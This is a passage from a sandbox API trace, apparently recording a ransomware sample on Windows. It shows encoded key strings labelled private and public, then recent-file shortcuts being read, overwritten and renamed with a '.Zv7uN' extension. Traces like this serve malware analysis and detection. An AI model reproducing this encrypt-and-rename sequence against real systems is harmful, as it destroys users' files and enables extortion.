ZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.594] GetCurrentThreadId () returned 0xa30 [0084.594] GetCurrentThreadId () returned 0xa30 [0084.594] GetCurrentThreadId () returned 0xa30 [0084.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.595] GetCurrentThreadId () returned 0xa30 [0084.595] GetCurrentThreadId () returned 0xa30 [0084.595] GetCurrentThreadId () returned 0xa30 [0084.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xjQ7-Z6-cvpQ18.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xjq7-z6-cvpq18.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.596] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.596] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.596] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa63 [0084.596] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.596] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa63, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa63, lpOverlapped=0x0) returned 1 [0084.598] CloseHandle (hObject=0x124) returned 1 [0084.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xjQ7-Z6-cvpQ18.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xjq7-z6-cvpq18.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.600] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa63, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa63, lpOverlapped=0x0) returned 1 [0084.602] CloseHandle (hObject=0x124) returned 1 [0084.603] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xjQ7-Z6-cvpQ18.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xjq7-z6-cvpq18.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xjQ7-Z6-cvpQ18.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xjq7-z6-cvpq18.lnk.zv7un")) returned 1 [0084.605] GetCurrentThreadId () returned 0xa30 [0084.605] GetCurrentThreadId () returned 0xa30 [0084.605] GetCurrentThreadId () returned 0xa30 [0084.605] GetCurrentThreadId () returned 0xa30 [0084.605] GetCurrentThreadId () returned 0xa30 [0084.605] GetCurrentThreadId () returned 0xa30 [0084.605] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2011d60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2011d60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2011d60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Xkl0bf1xtDXHz.lnk", cAlternateFileName="XKL0BF~1.LNK")) returned 1 [0084.605] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.605] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.605] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xkl0bf1xtDXHz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xkl0bf1xtdxhz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2011d60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2011d60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2011d60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1 [0084.606] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xkl0bf1xtDXHz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xkl0bf1xtdxhz.lnk")) returned 0x20 [0084.606] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Xkl0bf1xtDXHz.lnk", dwFileAttributes=0x80) returned 1 [0084.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.607] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 